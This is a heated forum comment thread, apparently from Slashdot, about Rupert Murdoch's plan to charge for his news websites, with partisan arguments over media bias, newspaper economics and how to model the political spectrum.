The main-stream media has to take a LOT of the blame for the current financial crisis, for blindly parroting the National RealtWhore's line that "housing will never crash." Those of us who predicted it in 2006 couldn't help but wonder whether it was because of a conflict of interest - do proper research and pronounce the rise in housing an unsstainable bubble, and watch all those ad dollars go to your competitor.

Same thing with the predictions that two of the big three would go bankrupt. I've been saying it since 2001, (though I had said GM and Ford, not GM and Chrysler). It was obvious that GM couldn't continue to stay ahead of Toyota back then, but anyone reporting on the multiple vulnerabilities of GM would have seen those ad dollars also go bye-bye.

The MSM got it wrong because they were willfully blind. Why? Advertising dollars. Follow the $$$$, and keep in mind that there's no whore like an old whore.

And BTW, artists mostly *didn't* "pay the bills even 600 years ago - the stereotype of the starving artist was just as true then as it is today. Art is a luxury, and in bad times, it gets cut back, same as other luxuries. And since the barrier to entry is so low (anyone can produce bad^Wmodern art) it's not like there's much possibility of creating an artificial shortage.

Nobody's saying we can't pay content producers ... but why pay, for example, continue to fund any news organization (or the media that subsidizes them) that has broken the public's trust repeatedly by ignoring the three biggest stories of this century (their reluctance for years to hold Bush's feet to the flames wrt the phony pretext for the war, the housing bubble and its' fraudsters like Angelo "Orange Ma" Mozilo, and the absolute certainty of a GM bankruptcy because of decades of benefits underfunding, lousy design and build quality, and vulnerability to an oil shock)? I won't go out of my way to give them money - in fact, if they croak, maybe it will clear the way for the next big thing. Or at lest something better.

Within a few years, only old people and Koreans will still get their news off a TV or newspaper.

Re:People have been spoiled...

[tomhudson]

Sorry, but you aren't getting a real full power server for $69/mo. Either somebody is selling you some snake oil, or they have some Really Big customers subsidizing everyone else. That monthly price doesn't even make enough money to cover replacement costs for a half decent laptop.

Nope - it's a full server, you're in complete control of the box, the only user, etc. Do what you want with it. Who it is is one of the industry's best-kept secrets, because a LOT of server proveders are really just reselling them. And no, they're not an American company, they have access to some of the world's cheapest electric power, and they're better located geographically than some of Google's proposed mega data centers in terms of proximity to major markets, support personnel, cheap and stable housing and land costs, and infrastructure. THAT is why they can go up to half-price and still make more money than the US-based competition. I'm slowly switching everything there as each domain comes up for renewal.

Oh, and yes, they have some REALLY BIG customers ...

Only if you are pulling in a lot more than $69/mo per box, or if you're cheaping out somewhere else can you afford those nice 'extras'.

When you're paying less for land, for electricity, a LOT less for health benefits, etc., it would be stupid not to use the advantage to grab market share. The "single-payer" system for health care gives *nudge nudge* certain countries *wink wink* advantages in terms both of operating costs and of general health (lower mortaility rates, for example). Keep your HMOs and your 1/3 who lack decent (or any) coverage. You're only hurting yourselves.

Re:This is a good thing

[grrrl]

agreed - in a more general anything that gets people reading less TRASHY news sources, right-wing or no!!

Please let this be true!

[rusl]

Let's just be quiet and encouraging everyone. This could be the best thing since sliced bread. Imagine, disinformation suddenly declines 30% on its own accord. Hold off on the jeering until it is a done deal because you might tip them off!

Re:This is a good thing

[ae1294]

The absolute worst thing anybody can do is dehumanize their opposition by calling them sheep or assume that they're not intelligent.

No... here let me help you...

The absolute worst thing anybody can do is dehumanize their opposition by calling them sheep and then put them all in ovens.

Easy to Copy

[Doc Ruby]

Murdoch, owner of Fox "News", the NY Post and other hysterical tabloids, should know better than anyone else that his news is popular because it's easy to distribute, not because it's any good, or at all accurate.

Making his content hard to redistribute, even by linking, will make it entirely worthless.

Hooray and good riddance to bad rubbish.

Continue to pay what it's worth to me

[syousef]

Its worth nothing to me, and that's what I'll continue to pay. I don't pay for advertising and fluff. If I'm given it for free maybe I'll look.

Good luck to him. He's going to need it. Suicide is only a slight overstatement.

Re:Thank you Jesus

[MillionthMonkey]

Are you implying Rupert Murdoch cares what Jesus says? Rupert was probably one of the guys that got chased from the temple.

This doesn't affect their most powerful medium:

[SilasMortimer]

television. The FOX News crowd tends to be an older one (not to forget those of you younger people that watch it, but the demographic is older) and often not very technically inclined. I'd also say that, on average, it is an affluent group compared to the demographic of most other news sources. So I think they're not really going to lose many viewers over this.

I agree with those who say that they are biased and skew their news toward that bias - they hardly hide it. However, we can't deny an overall bias from corporate news sources. I think the majority of journalists prefer to at least attempt an unbiased reporting of the news, but simple business interests often dictate not only how the news is presented, but what news is presented in the first place. And then there's independent media (which at least usually has the decency to make no bones about their bias). I myself listen to Democracy Now and can be fairly assured that I can trust the honesty of Amy Goodman, but I also know that I need to verify things at least to see if I agree with her take on it, with which I don't always agree.

Re:This doesn't affect their most powerful medium:

[tepples]

The FOX News crowd tends to be an older one (not to forget those of you younger people that watch it, but the demographic is older)

Then why do I see just as many commercials for life insurance and other goods and services targeted to older people on CNN or MSNBC as I do on Fox News?

Re:This doesn't affect their most powerful medium:

[Archangel Michael]

I think the majority of journalists prefer to at least attempt an unbiased reporting of the news

HAHAHAHAHAHAHAH

http://www.nytimes.com/2009/02/03/world/americas/03iht-journalists.1.19890938.html

Re:This doesn't affect their most powerful medium:

[Dragonslicer]

The FOX News crowd tends to be an older one (not to forget those of you younger people that watch it, but the demographic is older)

Then why do I see just as many commercials for life insurance and other goods and services targeted to older people on CNN or MSNBC as I do on Fox News?

I don't think he necessarily meant older than other 24-hour news channels, but older than the average age of the entire population. While I wouldn't be surprised if Fox News had an older demographic than CNN or MSNBC, all of them, as well as the major networks' news broadcasts, are stronger in older demographics than they are in the 18-35 range.

Re:This doesn't affect their most powerful medium:

[SilasMortimer]

I didn't say journalists don't have personal opinions and if you think they shouldn't, you have a very unrealistic vision of not only journalists, but humanity in general.

However, it is still true that most journalists, whatever their personal feelings or political leanings, try to do the job of a journalist when they're supposed to be doing it. That means that they report the news as well as they can understand it with the information they have.

This is something I appreciate about local news affiliates. Sure, they can be ridiculously silly and come off with complete insincerity when they try to act like good natured, likable people, and they fill their news hours with a little too much fluff and leave a lot of important news for the alternative local sources, but I rarely perceive bias from them. This does not mean that I believe some kind of nonsense that they have no opinions, just that they're being journalists and don't receive the scrutiny and therefore accusations that national journalists have.

This is not to say that all of these journalists don't want people to see things their way, but usually when they do, liberal or conservative, they believe that the truth of news without spin reveals the truth of their beliefs.

Re:This doesn't affect their most powerful medium:

[Archangel Michael]

I didn't say journalists don't have personal opinions and if you think they shouldn't, you have a very unrealistic vision of not only journalists, but humanity in general.

Read my response the the other comment above yours.

As for unbiased news sources, I prefer amateur reporters and raw unedited film clips. Most amateurs don't have the guile to put a twist on what they are reporting.

Take for instance the Tea Parties and Health Care Town Hall Meetings, the raw video really shows the disdain the politicians have for Average Americans.

If you look at the National Big Media response to these outbreaks they don't report what the compaint is, they report the left wing response calling these people Nuts, Nazis, Nicely Dress, Right Wing, Frenzied .....

Why don't they report the same thing when it is Illegal Aliens protesting in LA, or anti-war protesters?

You see, the reporting is "accurate" but only from a point of view that has distinct bias. Why pretend it is unbiased, when it is CLEAR it isn't?

ALL I'm saying is lets stop pretending it isn't biased reporting, whether it is FOX or ABC/CBS/MSNBC/CNN or NPR

The only people who think the news is unbiased are idiots or agree with the left leaning agenda.

And don't paint me as a right winger because I said this, because I'm quite Libertarian. Well I guess that would make me right wing because I don't like government interference in my life.

Left Leaning seems to like Government interference in everyone lives but their own, they are just too stupid to realize that is impossible.

Re:This doesn't affect their most powerful medium:

[SilasMortimer]

My apologies. I think I hit "reply" on the wrong post.

I'm not sure that it's that amateur reporters don't have the guile. I think that perhaps working for the big five (well, there used to be five corporations that owned all the major news sources, it might have shrunk by now) makes cynics out of the idealists that usually become reporters.

If you look at the National Big Media response to these outbreaks they don't report what the compaint is, they report the left wing response calling these people Nuts, Nazis, Nicely Dress, Right Wing, Frenzied .....

This is where I say that the mainstream media's bias has less to do with politics than corporate interests. I've heard conservatives complain about that and I can see their point. But at the same time, many of we liberals believe that they made it seem like more of an event than it actually was, i.e., giving it such exposure without mentioning the small turnouts it had. If both sides complain (which we often do), perhaps it points more toward bad decision making about the focus of reporting than bias. Maybe.

Why don't they report the same thing when it is Illegal Aliens protesting in LA, or anti-war protesters?

Maybe because people don't use such epithets in those situations. Well, having been a war protester, I was very aware of such things being said and reported by the mainstream media. Anyway, I don't think we can blame the media for that particular problem.

ALL I'm saying is lets stop pretending it isn't biased reporting, whether it is FOX or ABC/CBS/MSNBC/CNN or NPR

I agree to a point. It is all biased, but not necessarily right or left. MSNBC and NPR are certainly left biased and FOX is very much right biased, but I protest the others being compared to FOX. MSNBC and NPR don't pretend to be unbiased. FOX's entire marketing scheme is that they have none. And it's blatant, but people insist to me that they're the only honest news source. I really don't understand the thinking behind that. But then, they're continuously met with "fair and balanced", which is a joke, as is the "No Spin Zone". None of the other news sources you mentioned natter on so much about how unbiased they supposedly are and none but perhaps MSNBC and NPR are even close to being as heavily steeped in bias. And the liberals I know have no problems admitting the bias in the two networks I mentioned. They (we) are aware of it and would probably be angry if they constantly made such claims. I'm sure someone at some point claimed it, but they know better than to keep it up. I hope.

As for the others, as I keep saying, their bias is greed. That's it. That's their only concern. The board of directors have a hell of a lot more say than any individual reporter and they don't care one whit about political bias. Well, that's not quite true. They certainly have personal opinions (and corporate leaders aren't quite known for their enthusiastic support of liberals - and for good reason), but when it comes to business, they know it's in their interests to avoid visible bias. People don't care that the abuses and fraud committed by the parent companies get no airtime. They only care about what the liberals said or what the conservatives said. And it's good for the politicians, as well, so don't expect them to do anything about it. The corrupt members of our government (and I don't put that label on every member of government, whatever party they belong to) would rather you focus on political differences than their actions as leaders.

Left Leaning seems to like Government interference in everyone lives but their own, they are just too stupid to realize that is impossible.

I could call this a lie, but the sad part is that I know you believe it. And it's probably pointless to correct you, but I will anyway. Banging my head against walls seems to help my headaches, anyway.

Re:This doesn't affect their most powerful medium:

[Archangel Michael]

First of all, conservatives want government interference in people's lives more than liberals do.

I disagree. I'd take Bush 1 & 2 over what I've seen from BHO and the libs in congress in six months. Maybe you haven't read the news, but there are some very scary things appearing on Government Websites; from the Tell Us about Fishy people email address on the White House website to "all your computers belong to us" notice on the Cash for Clunkers website (for dealers).

Yes, I know there is no way to distinguish the difference between malfeasance and incompetence. I would probabloy agree with you, but one (evil) requires the other(idiocy).

I didn't like Bush, and I don't like Obama. Clinton is starting to look incredibly good these days.

Like his MySpace acquisition?

[kherr]

Murdoch bought MySpace in 2005 for $580 million. Not such a hot property these days. I wouldn't put any money into Murdoch's internet instincts.

Re:Like his MySpace acquisition?

[Jaysyn]

Here I was hoping he was going to start charging for access to MySpace.

HHGTG

[Falconhell]

I am reminded of Deep thoughts response when told he could cause a philosophers strike.

"And whom will that inconveience"

Re:As opposed to sheep reading left wing echo?

[Anonymous Coward]

All of you idiot political fanbois are lemmings through and through.

To paraphrase the dead guy's lyrics: It don't matter if you're left or right..

Too much choice

[unreadepitaph]

There's way too many free news sights for people to pay for spelling/gramatical errors and right wing propaganda.

Don't worry

[GhostGuy]

It looks like he'll be dead soon anyway, then we can finally have a little less background noise. Unless you provide a service that people can't get anywhere else easily, give it to them free and make what you can from advertising. Maybe make a paid perks system, like an ad-free version of the site, or extra commentary, or SOMETHING unique and marketable. But to think that people won't go to another news site that they can access for free is just silly. Sure, you have idiots that can't use google, and you have diehard fans of his sites that will pay the money, but he's just limiting his audience here.

He has a point

[grasshoppa]

If nothing else, I think we can all agree that it costs money to create this content.

Of dispute is how to make money off of this investment. Murdoch seems to think his content is worth more than he's able to acquire from ad funds. As history has shown, this will likely backfire on him.

But maybe not. Maybe he can squeeze his customers enough to make this plan work. All the luck for him, but I don't think this will work.

Re:He has a point

[sumdumass]

I don't think it will backfire.

He is attempting to use the WSJ's model to build from. If you were to visit the Wall Street Journal's site, you will see that most of the coverage is free. The subscriptions give more of a value added then access appeal. There are some news stories held from the free parts of the site but they are very few in contrast. What the subscriptions give you is a 90 day categorically sorted history of articles that you can somewhat customize with access to the few stories withheld from the free content. You also get access to the sister publications in Europe and Asia.

This isn't really a pay site like with porn where they give you a teaser then request a login to see the important stuff. I would describe it as a value added subscription model that will appeal to a lot of people but probably not impact the majority of users.

We'll charge

[mysidia]

For our slashdot comments.

Oops, you read some of my comment, now you owe me $5.

What? You'll read someone else's free comments instead?

Don't worry, we're a big news organization, we'll buy out any high-quality commenters who try to give them away for free.

Our readers who never paid a dime for our **** will suddenly start wanting to pay as soon as they hear about how hip our new site design is, and how all our other big and popular commenters will start charging too.

Murdoch - not your average supervillain

[toby]

It seems that, despite (or rather, because of) Murdoch's strangehold on your media, most people really don't understand the megabadness of Murdoch.

I know, I know, soooo 20th Century... so I'll boil it down for you geeks: You know the Jedi Emperor? Murdoch doesn't just look like that guy - in the cast of malignities afflicting the planet, he *is* that guy.

Google for more. You'll be surprised what you didn't know about old Rupe.

Re:Murdoch - not your average supervillain

[Falconhell]

Regretably, Rupert made his start in the news business here in good old Adelaide SA, where he had his first newspaper an afternoon tabloid, called "The News" we also had a excellent morning broadshhet paper called The Advertiser which was a family owned business that stayed independant for many years.

Up until quite recently the News corp AGM was held here.

In the end Murdoch got hold of The Advertiser and turned it into exactly the same crap tabloid as The News, which was then closed. When the original editor retired, he appointed of course a right wing loony.

One of my very favourite Murdoch comments was after an interview with the Australian public broadcaster, the ABC, who questioned him very well, asking questions he really did not want to answer.

  After the end of the interview his mic was left on and he was clearly heard to say "Fucking ABC bastards", much to the listeners amusement.

Re:Murdoch - not your average supervillain

[lennier]

I can feel the tweet swelling in you. Goooood. Strike me down with all of your blisteringly witty Web 2.0 snark, and your journey toward Big Media will be complete.

Oh, I'm afraid your friends blogging from the free Starbucks WiFi are walking into a trap...

Re:Murdoch - not your average supervillain

[PCM2]

One of my very favourite Murdoch comments was after an interview with the Australian public broadcaster, the ABC, who questioned him very well, asking questions he really did not want to answer.

    After the end of the interview his mic was left on and he was clearly heard to say "Fucking ABC bastards", much to the listeners amusement.

Yeah? Well something seems to have changed.

Re:Murdoch - not your average supervillain

[ozbird]

"I felt a great disturbance in the Force, as if millions of (Neo)Conservatives cried out in terror and were suddenly silenced."

Re:This is a good thing

[taucross]

I can't wait until I'm old enough to feel ways about stuff.

Thank God

[speedlaw]

A typical Fox "news" person, happily swallowing the swill the elites pump out, can't afford to pay, as his life is limited and defined by the world those elites suggest. The folks most protesting "obamacare" would most benefit. Charge a lot !

Brilliant

[nitehawk214]

Actually, I think this is brilliant. Think about it, Fox News does not compete with CNN or the other "real" news sources. People who go to Fox are specifically looking for Right Wing pandering blowhards like Bill O'Rielly. Since these people cant stand the "liberal media" they will happily pay money to Rupert in order to get the same slanted stories and cheap tricks that they want. People who use services like Google News tend to ignore outlets with an obvious bias, so they were not going to use Rupert's services anyhow.

Re:Brilliant

[weston]

Fox News does not compete with CNN or the other "real" news sources.

The last time I turned on CNN they were devoting hours to coverage of Michael Jackson.

The second to last time I turned on CNN they spent at least 15 minutes on Brittney Spears.

The last time I was watching some other cable news station, they were reading twitter feeds and talking about them.

I'm not sure what broadcast cable does anymore, but I'm pretty sure it's not particularly "real" news.

Re:This is a good thing

[sumdumass]

Yea, as long as the left can control the media for those left without access, any lie can be told uncontested and opinions will be shaped regardless of the truth.

Go for it...

[kjs3]

Let us know how that works for you. We, obviously, won't be paying attention.

keeps getting better and better

[circletimessquare]

the national faces of the right now appear to be somewhere between rush limbaugh, dick cheney, and sarah palin, all 3 with obvious problems appealing to anyone besides screeching rightards

then we have the birthers and their paranoid schizophrenic thinly veiled racism. dividing, discouraging and polarizing the right wing base, so wacky they make 9/11 truthers look levelheaded

and now the principle propaganda wing of the right is committing fiscal suicide because the boss is so old and venal and out of touch with the reality of modern media

seriously, can it get any better?

i am really quite amazed at how fast the right wing has imploded after the presidential election

buffoons and absurdities, all that seems to be on the landscape on the right right now. hilarious and wonderful. i'm actually looking forward to the next act of seppuku on the right

oh look, here it is!:

If you live in or around Pensacola, it just got harder to be a creationist who wants to see giant statues of dinosaurs. Dinosaur Adventure Land, which was packed with educational exhibits devoted to unmasking the lies of evolution, will be no more. No longer will children be taught how dinosaurs walked the earth 6000 years ago. All because park's owners, Kent and Jo Hovind, owed the IRS just under half a million dollars in employee taxes.

According to the Pensacola News Journal:

[Kent Hovind] was found guilty in November 2006 on 58 counts, including failure to pay employee taxes and making threats against investigators.
The conviction culminated 17 years of Hovind sparring with the IRS. Saying he was employed by God and his ministers were not subject to payroll taxes, he claimed no income or property.

huzzah!

keep it up, angry, ineffectual low iq losers on the right

all the news is cheer nowadays

enjoy your march into the sunset

Re:keeps getting better and better

[Falconhell]

Bloody hell, I dont believe it-I must have awoken in an alternate universe, where I actually agree with one of CTS posts.

Re:keeps getting better and better

[dbIII]

With respect, ruthless businessman that he is Rupert Murdoch is about a parsec to the left of Limbaugh etc. Google for "Rupert Murdoch boyer lecture" and you'll see he likes the idea of governments that care for people (so that businesses never have to). I have plenty of reasons to dislike him (and do) since he bought, gutted and dismissed nearly everyone at a place I worked for just so he could have another shell company. However the right wing crazies you are comparing him to would have been murdered or imprisoned on their way to where Murdoch is since they put far less value on humanity and would have cut even more corners and been ruthless to the point of self-destruction.

Re:keeps getting better and better

[carrier lost]

all the news is cheer nowadays

enjoy your march into the sunset

Merry Fitzmas!

Re:keeps getting better and better

[thrillseeker]

I have plenty of reasons to dislike him (and do) since he bought, gutted and dismissed nearly everyone at a place I worked for just so he could have another shell company.

Since a shell company can be had pretty cheap straight up, I'd guess that buying your firm and liquidating it was a profitable enterprise for him - when killing a company is more profitable than continuing it, that might tell us something about the quality of their work relative to their competition.

Re:keeps getting better and better

[dbIII]

that might tell us something about the quality of their work relative to their competition.

Or I may have failed to inform you that he owned the competition. Ironicly Murdoch appears to run a lot of companies like a shell game - the money is in one this week and another the next to make it look like there is far more or far less than exists depending on who will be looking at a paticular time.

Re:As opposed to sheep reading left wing echo?

[Psyborgue]

People that labels themselves and refuse to consider those they disagree are competent are lemmings.

Murdoch's other statements

[Tetsujin]

Murdoch went on to mention that other site changes came at the request of his dog, Billy, who said that they were not sufficiently canine-accessible. The new design, apparently, will feature images of small rubber toys as the links - these will squeak when clicked upon. Also, in addition to password authentication, the site will support olfactory authentication via a newly-developed USB peripheral.

Some of those in Murdoch's immediate vicinity responded negatively to these claims: one man complained that Murdoch in fact did not even have a dog. Referring to Murdoch as a "crazy fool", he went on to say that Murdoch's presence was not necessary, as there was no present need for his unique skills.

oh, very good.

[CFD339]

I see what you did there. Very clever. You've clearly improved on the statement.

Re:This is a good thing

[TimSSG]

The absolute worst thing anybody can do is dehumanize their opposition by calling them sheep and then put them all in ovens.

Yeah, I agree.

But, BHO is more of an Russian type Socialist than an German type Socialist.
Tim S.

Shades of grey or colors?

[tepples]

Silly Americans with their "right wing" vs "left wing" so-called political opinions...

Nothing in real life is black or white, it's always shades of grey.

Assume there is a median political position. To the left and right of this are various stances. "Left" politics include civil libertarianism, entitlements for minorities and the working class, and regulation of business; "right" politics generally imply the opposite. Between far left and far right, there are still "shades of grey" as you call them: left, center left, center right, and right.

It's possible to be left on some issues and right on others. For instance, the Libertarian Party is left on civil libertarianism but right on entitlements and business regulation. But U.S. political parties whose platforms mix "left" and "right" planks virtually never win more than 2% of the popular vote. Perhaps a better analogy isn't "shades of grey" as much as color vs. grayscale.

Re:Shades of grey or colors?

[mjwx]

It's possible to be left on some issues and right on others. For instance, the Libertarian Party is left on civil libertarianism but right on entitlements and business regulation. But U.S. political parties whose platforms mix "left" and "right" planks virtually never win more than 2% of the popular vote. Perhaps a better analogy isn't "shades of grey" as much as colour vs. grayscale.

This is how the rest of the world works. They operate in that giant grey area and evaluate each topic/choice on its own merit rather then instantly defaulting to the partys left/right alignment for decisions.

The libertarians in the US tend to be extremist capitalists, just extremely liberal (read: anarchist) capitalists.

Re:Shades of grey or colors?

[tepples]

Assume there is a median political position.

Assume the political space has more than two dimensions. Your "median" is now an n-dimensional axis

A set of points in a multidimensional space still has a centroid. To compute the centroid in a Cartesian coordinate system, take the median of the coordinates in each dimension.

and terms like "left" and "right" are meaningless.

Erich Fromm and Isaiah Berlin have pointed out two kinds of "liberty": the negative liberty of civil libertarianism and the positive liberty of entitlements. In U.S. politics, support for civil libertarianism and support for entitlements are strongly correlated, and politically successful candidates' stances tend to line up along one line in the political hyperspace. "Left" and "right" are measured along this line.

Besides, "shades of grey" has only one dimension, namely lightness, which proves the point of my other post that colors are a better model for a political spectrum.

Re:Shades of grey or colors?

[davidphogan74]

I presume that all politics are based on a circular system, where you have left and right on each side, moderates in between on one "side" of the center, and the crazy at the other side. If you go too far left or right away from moderate, you've entered the crazy zone. I made a graphic to help those who don't understand: http://farm4.static.flickr.com/3426/3771404858_8a85ffcdb7_o.jpg

Re:Shades of grey or colors?

[camg188]

Libertarians tend to want the government not making decisions for them, so on issues like drugs they appear to be left and issues affecting business they appear to be right. That's because the labels of "left" and "right" have been muddled up. They are conservative as in little government intervention in the lives of citizens.

Re:Shades of grey or colors?

[martin-boundary]

A set of points in a multidimensional space still has a centroid. To compute the centroid in a Cartesian coordinate system, take the median of the coordinates in each dimension.

No. People always confuse the mean and median. To obtain the centroid, you compute the mean of the coordinates.

Mean: add all the numbers up, and divide by how many you have.

Median: sort the numbers in ascending order, and pick whichever number is closest to the middle of the list. Technically, you want half the list to be below, and half above. So there could be more than one median.

Re:Shades of grey or colors?

[Garrett Fox]

And both the one-axis and "political compass" charts confuse the issue by making the position "keep the government out of our economic lives" get lumped together with "give big subsidies to corporations". With the implication that the only option besides communism and corporatism is a compromise that combines the worst elements of both -- rather than an actual free market.

Re:Shades of grey or colors?

[tepples]

blah blah centroid blah blah median

No. People always confuse the mean and median. To obtain the centroid, you compute the mean of the coordinates.

I stand corrected.

Re:Shades of grey or colors?

[drsquare]

They are conservative as in little government intervention in the lives of citizens.

That's not particularly conservative. Government has historically interefered with people's lives way more than they do now. Civil liberties are a progressive movement. Hell, how recently were inter-racial and gay marriages banned in many states?

Re:Shades of grey or colors?

[srleffler]

You and other readers of this thread might be interested in the Political Compass. The thesis is that politics is better described in a two-dimensional space.

How can he stop blog echos?

[CrazyJim1]

Someone reads his stuff and writes something similar in their blog. How can they stop them if it isn't a direct case of plagiarism?

Most people first get news from word of mouth...

[Pseudojew]

...and most people on the internet share everything with everyone, whether tangible (like movies and pictures) or information (such as news). so for every person they get money from, there's going to be hundreds or thousands who get the exact same report for free because someone copied and pasted it, or just told their friends and co-workers the gist of it. charging for news on the internet is like charging for news in a conversation amongst co-workers. Summary: good fucking luck

You owe me $50, as

[Falconhell]

My irony-o-meter just exploded at the "SITE" of your post complaining about spelling and grammar.

Ya gotta laugh at some of the posts on this "sight" eh?

Sight- What your eyes give you.

Site- A location, either physical or virtual.

Now just brighten up and "tow" the line, OK looser!

(-:

To use a story today on Fox News...

[shacky003]

People are going to have to pay to hear reporters say "Maybe we shouldn't spend any money on getting these types of people out of North Korea. If they make a mistake and cross the border, they deserve to pay the price."
Fair and Balanced? dumbasses..
I have no problem keeping moronic "reporting" behind a "Please pay $3 to see this ""story""

Disclaimer: I know nothing about anything - EVER.

It's a Tax

[TroyM]

Doubt this will go over well with their viewers, if someone tells them it's a tax

They want us to pay for that shit called News?

[Jackie_Chan_Fan]

There is no way I would pay for that right wing, nut job, propaganda they call NEWS....

Its bad enough that news in general is pathetic... but Murdoch is out of his fucking mind if he thinks anyone finds his "news" outlets are worth paying for.

Then again, Fox News viewers are the same nut jobs that pay every sunday to worship a fucking fairytale. I guess "How real" the content is, doesnt matter in either situation.

March on Nazis.... March on.

Re:They want us to pay for that shit called News?

[Jackie_Chan_Fan]

We dont disagree. The news, especially Television news... is a digusting joke all together.

Thats why i find it histerical that Mordoch would ever expect anyone to pay for it online

Dumped my subscription...

[aaarrrgggh]

Used to subscribe to WSJ because I thought the quality was hard to beat. Canceled after far too many articles that were far too self-serving to Murdoch. Then there is Fox News... and...

Far too out of touch. News Corp is completely lost.

Damn! No Pop Tarts?

[billybob_jcv]

The only thing on foxnews.com that I read is Pop Tarts. http://www.foxnews.com/story/0,2933,537022,00.html

Oh well, from now on I guess I will have to get all my news from TMZ.com.

your problem

[circletimessquare]

is you don't actually read any of my posts

you kind of sorta figure out the gist of where i am going, and then you shoehorn me into certain stereotypical ways of thinking

you then deduce the most ridiculous implication of the most absurd corner of thoughts from what i am saying

and then you react to that, as if i had said that, or stood for it, or even was remotely talking about that

you need to actually read and listen to people

you don't do that. you shoehorn people into stereotypical bogeymen that only exist in your head

i probably believe about 2% of what you think i believe

Re:your problem

[Falconhell]

Quite right, in general, I no longer bother to read your posts, most particularly because you dont know how to use the bloody shift key, which makes your posts look very ugly. Is that just ignorance or do you deliberately do it to annoy people?

I dont care what you SAY you believe, It is what you have actaully written that I judge you on.

Way to leap to conclusions!

I can say with a deal of certainty, that we will not agree often!

This is Not News....

[Hercules Peanut]

'The digital revolution has opened many new and inexpensive methods of distribution, but it has not made content free.

Yes, it has.

Accordingly we intend to charge for all our news websites,' Murdoch said."

..but will anyone pay for it? That would truly be news.

Re:This is Not News....

[SeximusMaximus]

'The digital revolution has opened many new and inexpensive methods of distribution, but it has not made content free.

No, but you do have a forrest of ads on the website - and much less distribution costs.

Accordingly we intend to charge for all our news websites,' Murdoch said."

I would hope any change in required subscriptions would eliminate any ads, but just like the promise of cable - I fear not.

Re:This is a good thing

[CodeBuster]

How is it over there on the left? Seriously, the Wall Street Journal actually spends time and money doing research for their hard news stories. Do you think that financial professionals would pay for subscriptions if the information wasn't accurate or at least accurate enough for them to base trading decisions on? Their opinion page isn't too bad either, although The Economist is often better IMHO. Meanwhile, the flagship paper on the left, the New York Times aka "the Gray Lady", is but a pale shadow of her former self. What would you rather have a paper do, lie to you and kiss your ass or dig up the facts and let things fall where they may?

Cooperation to solve prisoner's dilemma?

[Willbur]

Online news has been stuck in a prisoner's dilemma situation (from their POV). If everyone charged for news, then they'd be OK. When only some people charge for news, those that charge lose their audience. That drives the system to the equilibrium of noone charging for news. From the consumer's POV this is a good thing.

Because Murdoch owns so much of the news, he might be able to break out of the current poor (for newspaper publishers) equilibrium. Of course, if he can do so then he's pretty much demonstrated that he has enough of a monopoly that market power isn't working. There would be evidence for an anti-trust case against him.

The other problem with all this is that it assumes that the problem newspapers are having with revenue is caused by the cannibalisation of the print editions by the online editions. I understand, although I cannot provide evidence, that the real problem is that the classified market has gone away. The newspapers lunch got eaten by eBay and Craigslist, not cannibalised by their own online offerings. And if this is true, then raising prices for consumers might increase revenue, but it wont return it to where it was.

Re:Cooperation to solve prisoner's dilemma?

[yuna49]

The other problem with all this is that it assumes that the problem newspapers are having with revenue is caused by the cannibalisation of the print editions by the online editions. I understand, although I cannot provide evidence, that the real problem is that the classified market has gone away. The newspapers lunch got eaten by eBay and Craigslist, not cannibalised by their own online offerings. And if this is true, then raising prices for consumers might increase revenue, but it wont return it to where it was.

The importance of the decline in classified advertising is usually overlooked by people discussing how the Internet has affected newspaper economics. It's easy to see how putting stories on the Internet for free might cannabalize the print edition, but the collapse of classfied advertising has played an even bigger role.

In the 90's the dominant newspaper in a major market like the Boston Globe might earn 40% or more of its revenues from classifieds, and most of that revenue came from two sources, auto dealers and real estate agents. Nowadays if I want to buy a used car or a home, I'd start online at cars.com or one of the now-ubiquitous real estate agency sites linked to the Multiple Listing Service. A three-line classified ad for a home can hardly compare to a virtual "tour" of the house via the Internet. Moreover you can now get an enormous amount of information about a home in advance (property taxes, original purchase price, "comps") on the Internetn that was previously invisible when homes were sold in newspapers. Around the turn of the century, the Fox-owned Boston Herald took a run at the Globe's near monopoly on classifieds by trying to entice car dealers to make the Herald their primary classified outlet. Today that strategy would make no sense whatsoever.

I can only see subscription models working for the most prestigious papers like the WSJ or perhaps the Times. I think the future for most smaller-market papers is a bleak one.

Re:Cooperation to solve prisoner's dilemma?

[MemoryDragon]

Online news has been stuck in a prisoner's dilemma situation (from their POV). If everyone charged for news, then they'd be OK. When only some people charge for news, those that charge lose their audience. That drives the system to the equilibrium of noone charging for news. From the consumer's POV this is a good thing.

Because Murdoch owns so much of the news, he might be able to break out of the current poor (for newspaper publishers) equilibrium.

I rather doubt it since he does not have a complete monopoly, but given the state of Murdochs news outlets the world definitely would be a better place if all of them would go bankrupt at once. Sorry for the people working there but you really sold out to the devils little nephew!

corporate games

[Anonymous Coward]

You folks are silly. Cheap access for news aggregation services that Murdoch likes, expensive access for those he doesn't. Differing rates for different news "ages" Companies friendly to Murdoch's empire and beliefs will suddenly have more available content. Those not friendly will lose some. Another front on the info war of media giants.

Funny though, if anyone can access the content anywhere publicly and this type of behavior increases, we'll see an increase in web scraping local aggregators.

Or imagine a freenet style network where your web scraper pulls stories from the content you subscribe to and broadcast it to others who do likewise with their web scrapers.

Re:This is a good thing

[davidphogan74]

It was a Futurama reference, you insensitive clod.

Re:This is a good thing

[el_tedward]

I agree with the person who agrees with the severity of calling one a sheep and then proceeding to place them into an oven. I disagree with the person who modded him as a troll. Fo' realz, dog.

Re:This is a good thing

[binary paladin]

As I always say, "There's no reason both sides can't be completely wrong."

Happy to hear this

[GodfatherofSoul]

I hope that news organizations start turning a profit on their web sites rather than giving the content away for free and depending on paultry ad revenue rates. I for one will subscribe to at least one on-line paper if this becomes the norm. I'm a big consumer of real news (beyond which celeb is bang who) and the horrible cash flow has lead to some major compromises in coverage. I'm willing to invest in journalism with their consumer dollar. I'm sure others will satisfy their news bug with TMZ or TSG, but you're not going to get the hard-hitting stuff elsewhere. Now, I do frequent their sites, but I'm tired of every legit news source thinking they have to cover Britney Spears to churn a buck.

So, maybe ad revenue will be down. But, I bet it'll be more than made up by online subscriptions. And, they can continue to make public all the AP boilerplate articles to bait readers into their custom content.

Parking meter psychology

[erikhy]

Remember when CNN charged for access to its web site? They have high quality content that is worth paying for - with the possible exception of Michael Jackson spam - but you will notice that CNN is now free in both print and video. There's a reason for that: even if access is only ten cents a week, it requires folks to pull out their credit card, and the vast majority hate doing that when they consider something should be free. Most of us hate paying for parking in cities because it's free in most other places just as much as because of what it costs. Rupert, your competition is free, your competition has generally better content, and we are laughing.

Political polar coordinates?

[tepples]

